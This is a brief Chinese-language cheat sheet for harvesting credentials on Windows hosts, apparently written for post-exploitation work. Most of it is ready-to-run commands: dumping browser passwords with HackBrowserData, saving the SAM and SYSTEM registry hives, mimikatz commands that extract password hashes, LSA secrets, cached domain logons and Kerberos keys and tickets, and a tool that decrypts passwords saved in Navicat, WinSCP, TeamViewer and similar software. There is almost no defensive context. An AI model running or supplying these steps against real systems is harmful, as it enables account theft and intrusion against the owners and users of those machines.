Windows上的凭据获取

抓取浏览器密码

工具：Releases · moonD4rk/HackBrowserData (github.com)

 .\hack-browser-data-windows-64bit.exe -b all -f json --dir results -zip

会在同级目录下生成results目录，里面会有压缩包，打开压缩包里面带有password字样的文件

非mimikatz抓取本地用户密码

导出SAM和SYSTEM文件

reg save HKLM\SYSTEM sys.hiv 
reg save HKLM\SAM sam.hiv

讲文件复制出来到主机然后使用mimikatz读取即可

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit

mimikatz抓取

mimikatz
privilege::debug

sekurlsa::logonpasswords
# 抓取各种密码hash

lsadump::sam
# 获取本地账户凭据

sekurlsa::ekeys
# 检索Kerberos密钥

sekurlsa::tickets /explorts
# 检索并导出Kerberos票证

lsadump::secrets
# 获取lsa机密

lsadump::cache
# 检索缓存的域用户登录凭据

注：mimikatz能抓lsass的hash只能是显式在计算机输入凭证的用户的hash和机器用户hash，例如：通过RDP登录的用户、本地交互式登录的用户、交互式登录后注销的用户(计算机未重启)、在UAC提升时输入的用户凭据

windows上第三方软件密码抓取

工具地址：https://github.com/RowTeam/SharpDecryptPwd

可以抓取如下软件的密码：

     Navicat
     Xmanager
     TeamViewer
     FileZilla
     Foxmail
     TortoiseSVN
     WinSCP
     Chrome
     RDCMan
     SunLogin

SharpDecryptPwd Navicat
# 抓取Navicat保存的密码